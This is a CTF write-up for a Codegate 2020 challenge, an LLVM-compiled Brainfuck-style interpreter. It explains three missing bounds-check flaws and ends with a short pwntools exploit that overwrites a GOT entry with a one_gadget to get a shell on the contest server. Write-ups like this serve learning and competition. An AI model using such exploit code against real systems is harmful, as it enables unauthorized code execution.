I recently competed in Codegate CTF 2020 under the junior category. This was the one of the more interesting challenges that I solved.
This was more of a reversing problem than pwn. The llvm served only to obfuscated the code, as opposed to raising any challenges itself.
Three observations are needed to solve the problem.
During linear execution, the opcode 1 lacks checks on the data pointer location.
elif op == 1: if imm != 0: ori = builder.ptrtoint(builder.load(dptr_ptr), i64) incr = llvmIR.Constant(i64, imm) new = builder.inttoptr(builder.add(ori, incr), i8_ptr) builder.store(new, dptr_ptr) rel_pos += imm
This directly stores the value of
dptr + imm into
dptr. Crucially, this means that the data pointer could point to out of bounds code after execution of a codeblock.
Note that after one branching, the code is generated as
br1b = self.br1.codegen(module, (0, 0)) br2b = self.br2.codegen(module, (0, 0))
This passes in
(0, 0) as the whitelist. If
br1 has additional branching, the check will never evaluate to true because whitelist will always be
(0, 0) for non-linear code pieces.
if not is_safe(0, whitelist): ... builder.call(ptrBoundCheck, [start, bound, cur])
As before, recall that the whitelist is set as
(0, 0) by default.
rel_pos is equal to zero, then the security checks will never be called.
if not is_safe(rel_pos, whitelist_cpy): ... builder.call(ptrBoundCheck, [start, bound, cur])
If the data pointer points to out of bounds memory at the start of execution of the codeblock, we will be able to execute instructions on it!
Combining these three observations, we can easily create an exploit. For example, consider the following block of code.
builder.position_at_end(resolveRight(headb)) # data_ptr = -1 if not is_safe(0, whitelist): # Never gets called ... ... builder.cbranch(cond, resolveLeft(br2b), resolveLeft(br1b)) # do something with memory[-1]
For example, you could get a leak with
head: <<< left: -. right: [Empty]
This would shift the data pointer 3 bytes left, and then repeatedly subtract and print until the data pointer becomes zero.
We don’t actually need a leak however, as all of our operations are relative. Because only partial relro is enabled, we can simply shift a GOT entry in
runtime.so to a one_gadget.
The final exploit is actually quite short. Most of the work was done constructing the three observations, hence it being more of a reversing problem than pwn.
from pwn import * if "--remote" in sys.argv: p = remote("22.214.171.124", 7777) else: #p = process(["python3", "main.py"]) p = remote("localhost", 7777) off = 0x40 p.sendlineafter(">>>", "" + "<" * 0x78 + "[" + "+" * (0x8c - 0x40) + ">" * off + "]" + "<" * (off - 1) + "[" + "+" * (0xc3 - 0x21) + ">" * off + "]" + "<" * (off - 1) + "[" + "-" * (0x44 - 0x43) + ">" * off + "]" ) p.sendlineafter(">>>", ".") p.interactive()